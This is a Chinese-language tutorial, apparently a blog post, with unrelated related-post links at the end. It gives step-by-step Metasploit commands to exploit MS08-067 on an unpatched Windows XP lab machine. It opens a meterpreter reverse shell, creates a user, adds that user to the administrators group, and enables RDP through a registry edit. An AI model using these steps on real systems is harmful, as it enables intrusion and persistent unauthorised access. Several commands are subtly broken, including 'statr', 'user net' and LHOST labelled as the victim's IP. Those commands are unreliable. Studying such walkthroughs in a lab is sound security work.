WIN xp sp3 系统上Ms08_067_netapi漏洞利用

Ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷，攻击可以获得一个相对高的权限；

1：准备工作：WINxp sp3 系统（无补丁）

下载地址：

http://blog.csdn.net/sql_injection/article/details/47683419

攻击kali ip：192.168.243.133

靶机 ip ：192.168.243.136

2：准备工作完成后开启kali打开终端metasploit中的msfconsole框架

命令：

msfconsole

打开metasploit之前需要连接上postgresql：

service postgresql statr

3：寻找和加载 Ms08_067模块

（1）：使用搜索命令搜索此模块：

search ms08_067_netapi

（2）：应用搜索到的模块地址：

use exploit/windows/smb/ms08_067_netapi

4：我们来加载一枚payload：

set payload windows/meterpreter/reverse_tcp

此时加载完毕可以查看需要设置的参数：

show options

然后如下图所示：

5：上图所示的 RHOST 为靶机的 ip, LHOST为kali 的ip：

set RHOST 被攻击者ip

set LHOST 被攻击者ip

然后进行攻击：

exploit

6：出现meterpreter命令后说明攻击成功，此时输入shell进入靶机cmd界面对其建立新的用户，并且提权：

（1）：建立用户：

user net 用户名 密码 /add

（2）：提权：

net localgroup administrators wmc /add

7：提权过后就可以进行远程连接登入了，但是此时要查看靶机是否打开了3389端口，因为此端口是用来进行远程连接的：

（1）：查看是否打开：

netstat -na

（2）：显然并没有，那么我们就给它打开：

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

可以看到，3389端口已经打开。

8:接下来就用自己本机系统进行远程连接搞事情就可以了：

（1）打开cmd输入远程连接命令：

（2）此时计算机名输入靶机的ip地址就可以了，之后输入你自己建立的用户名和密码：

（3）：就成功进入了：

此时完成所有操作。

总结：

此时靶机上也有了你创建的新用户。

要使用没有补丁的靶机，不然攻击时会失败。

WIN xp sp3 系统上Ms08_067_netapi漏洞利用相关推荐

win xp sp3系统如何安装微信. 2023-03-01
下载地址 WeChat_for_XP_SP3_To_Vista.exe 下载后直接安装即可该版本为老旧版本,官方新版本已不支持xp系统
装机员 GHOST WIN XP SP3 装机版2016
软件软件名称: GHOST WIN XP装机版2016 软件语言: 简体中文软件大小: 1.76 GB 大小: 发布日期: 2016-05-28 文件名称: ZJY_GHOST XP_SP3_ ...
【引用】雨林木风Ghost XP SP3系统
近来在网上闲逛,系统之事我想也不用多说大家都知道, 因WR原因导致各家系统站点都已经关闭下载. 但在网上大家还是可以看到有下载地方的,对于是提供原来无修改过的系统下载我们当然欢迎,对他们应该感谢分享 ...
发现了问题解决不了--转：【win XP SP3 不能安装HD声卡驱动的解决办法】
在装SQL2005时,提示sp3警告,所以就删补丁,结果所有驱动都没有了.系统还是sp3.开始忙碌状驱动,到声卡驱动就怎么也无法成功~解决问题终于发现: 转自: http://www.pczpg.co ...
常见文件上传漏洞利用
常见文件上传漏洞利用一.常见文件上传绕过方法 1.前端javascript校验文件名 2.MIME类型检测绕过 3.大小写绕过 4.双写.点.空格绕过 5.特殊后缀名绕过 6.文件内容检测 7.使用 ...
文件上传漏洞利用介绍
目录文件上传漏洞利用介绍 1.绕过js验证 2.绕过MIME-TYPE验证 3.绕过基于黑名单验证基于文件后缀名验证介绍基于文件后缀名验证方式的分类基于黑名单验证代码分析利用apache配置 ...
xp计算机无法远程桌面连接,XP sp3系统下远程桌面不能连接到指定计算机的解决方案...
在使用电脑的过程中,我们常常会使用系统中的远程功能.然而在XP sp3系统中,有的小伙伴使用远程桌面软件时,电脑却弹出远程桌面无法连接到指定计算机的提示.那么遇到这种情况该怎么解决呢?下面想就给大家介 ...
华硕台式机笔记本预装GHOST XP SP3系统V2013(DVD版)
华硕台式机&笔记本预装GHOST XP SP3系统V2013(DVD版) 下载地址:http://www.xiazaijidi.com/xp/ 文件名称:ASUS_NotebookPC_V20 ...
『原创』ewebeditor 2.1.6 上传漏洞利用工具
朋友说原来的ewebeditor 2.1.6 HTML版用着太麻烦,每次还得输入地址,叫我帮忙写一个...- -||| ewebeditor 2.1.6 上传漏洞利用工具 ewebeditor在网上用 ...

WIN xp sp3 系统上Ms08_067_netapi漏洞利用

WIN xp sp3 系统上Ms08_067_netapi漏洞利用相关推荐

最新文章

热门文章